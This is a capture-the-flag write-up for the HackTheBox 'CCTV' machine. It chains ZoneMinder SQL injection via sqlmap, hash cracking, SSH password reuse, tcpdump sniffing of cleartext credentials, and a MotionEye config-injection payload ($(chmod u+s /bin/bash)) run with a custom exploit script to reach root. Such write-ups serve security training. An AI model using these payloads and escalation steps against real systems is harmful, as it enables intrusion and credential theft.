CCTV — HackTheBox Seasonal Writeup

Date: 2026-03-09
IP: 10.129.1.238
Hostname: CCTV.htb
Difficulty: Beginner
OS: Ubuntu 24.04.4 LTS

Table of Contents

• Reconnaissance
• Foothold - CVE-2024-51482 (ZoneMinder SQLi)
• Privilege Escalation - mark to sa_mark (User Flag)
• Privilege Escalation - sa_mark to root (Root Flag)
• Vulnerability Summary
• Kill Chain

Reconnaissance

Initial nmap scan:

nmap -sCV -T4 10.129.1.238

Two open ports:

• 22/tcp — OpenSSH 9.6p1
• 80/tcp — Apache 2.4.58 → ZoneMinder CCTV platform

Foothold — CVE-2024-51482 (ZoneMinder SQLi)

1. ZoneMinder Access

Browsing to http://CCTV.htb/zm/ reveals the ZoneMinder dashboard, accessible with default credentials.

2. SQL Injection

ZoneMinder 1.37.63 is vulnerable to CVE-2024-51482 — a critical SQL Injection (CVSS 10.0) in the tid parameter of the removetag endpoint.

GET /zm/index.php?view=request&request=event&action=removetag&tid=[SQLI]

Exploitation with sqlmap (time-based blind):

sqlmap -r request1.txt --dbms=mysql --dump -T Users -D zm

Dump of the zm.Users table → 3 users with bcrypt hashes:

• superadmin — hash not cracked
• mark — cracked
• admin — default credentials

3. Cracking and SSH

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

Result: mark:[REDACTED]

The password is reused on SSH:

ssh mark@cctv.htb  # password: [REDACTED]

Foothold obtained as mark.

Privilege Escalation — mark → sa_mark (User Flag)

4. Network Sniffing via tcpdump

During system enumeration, /usr/bin/tcpdump has the cap_net_raw=eip capability, allowing mark to capture network traffic.

Docker containers (network 172.25.0.0/16) communicate periodically on port 5000 in cleartext:

tcpdump -i any -nn -A tcp port 5000

Intercepted output:

172.25.0.11.51946 > 172.25.0.10.5000
USERNAME=sa_mark;PASSWORD=[REDACTED];CMD=status

5. SSH as sa_mark

ssh sa_mark@cctv.htb  # password: [REDACTED]
cat ~/user.txt

User flag obtained.

Privilege Escalation — sa_mark → root (Root Flag)

6. MotionEye Enumeration

In sa_mark's home directory there is a company PDF (SecureVision Staff Announcement.pdf) indicating the migration from MotionEye to ZoneMinder with the note:

"Staff logins will remain the same. You will continue to use your existing credentials to access the new system."

Enumerating internal services (ss -tlnp) reveals MotionEye 0.43.1b4 on localhost:8765.

7. Password Reuse → MotionEye Admin

The MotionEye config (/etc/motioneye/motion.conf) contains the SHA1 hash of the admin password:

# @admin_password [REDACTED]

Verifying password reuse:

echo -n "[REDACTED]" | sha1sum
# [REDACTED]  <- MATCH!

sa_mark's password is the same as the MotionEye admin password.

8. CVE-2025-60787 — MotionEye Config Injection RCE

MotionEye 0.43.1b4 is vulnerable to CVE-2025-60787: configuration field values (e.g., image_file_name) are not sanitized server-side and are written directly into motion config files. When motion saves an image, the filename containing $(cmd) is passed to the on_picture_save script and interpreted by the shell.

The MotionEye service runs as root (User=root in /etc/systemd/system/motioneye.service).

Custom exploit (exploit_motioneye.py) with signature-based authentication:

1. API authentication: HMAC-SHA1 signature using the admin password hash
2. Read camera config: GET /config/1/get
3. Payload injection: POST /config/1/set with image_file_name = $(chmod u+s /bin/bash).%Y-%m-%d-%H-%M-%S
4. Trigger: snapshot via motion webcontrol

python3 exploit_motioneye.py \
  --target 127.0.0.1 --port 8765 \
  --key "[REDACTED]" \
  --cmd "chmod u+s /bin/bash"

curl -s "http://127.0.0.1:7999/1/action/snapshot"

9. Root Shell

bash -p
whoami
# root
cat /root/root.txt

Root flag obtained.

Vulnerability Summary

Kill Chain

Internet → ZoneMinder (default creds) → SQLi CVE-2024-51482 → mark:[REDACTED]
  → SSH mark → tcpdump cap_net_raw → sa_mark:[REDACTED]
    → SSH sa_mark → PDF password reuse hint → MotionEye admin
      → CVE-2025-60787 config injection → chmod u+s /bin/bash → ROOT